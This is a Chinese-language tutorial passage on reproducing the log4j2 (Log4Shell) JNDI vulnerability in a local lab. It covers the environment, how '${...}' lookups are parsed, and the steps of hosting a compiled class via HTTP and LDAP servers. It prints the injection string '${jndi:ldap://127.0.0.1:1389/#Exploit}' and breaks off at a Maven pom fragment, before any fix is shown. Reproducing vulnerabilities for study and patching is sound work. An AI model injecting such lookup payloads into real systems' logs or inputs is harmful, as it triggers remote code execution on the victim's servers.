lo4j2 漏洞复现过程及解决方案
背景
近日,阿里云团队发现并报告了 log4j2 的一个漏洞。
由于 log4j2 是一个依赖较广的底层库,所以影响范围很大。影响程度严重,有多严重呢? 这么说吧,是灾难性的。
复现漏洞
环境介绍
- 操作系统:macos Catalina
- jdk 版本:11.0.9.1
- log4j2 版本:2.13.3(使用 springboot 2.3.2.RELEASE 间接依赖)
原理介绍
引用公众号:“小林 coding” 的一张图:
使用 log4j2 正常打日志的时候没事儿,比如:
logger.info("this is {}", "log4j2 demo");
但如果你的日志中包含 “${
” 开头,“}
” 结尾的内容就会被解析出来,单独处理。
而如果“${}
” 所包裹的内容是类似这样的:jndi:ldap://127.0.0.1:1389/#Exploit
,则有可能触发这个漏洞。
复现具体流程是这样的:
-
先写一段想要被远程执行的 java 代码,然后编译成 class 文件
-
将 HTTP Server 启动,保证可以通过 Http Server 访问到这个 class 文件。
-
将 LDAP Server 启动,并将 Http Server 上的那个 class 文件注册上去。
-
启动 java 应用程序,利用 log4j2 写日志,日志内容包括如
${jndi:ldap://127.0.0.1:1389/#Exploit}
这样的内容。 -
观察结果,看 class 文件中的程序逻辑有没有被执行。
复现
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.3.2.RELEASE</</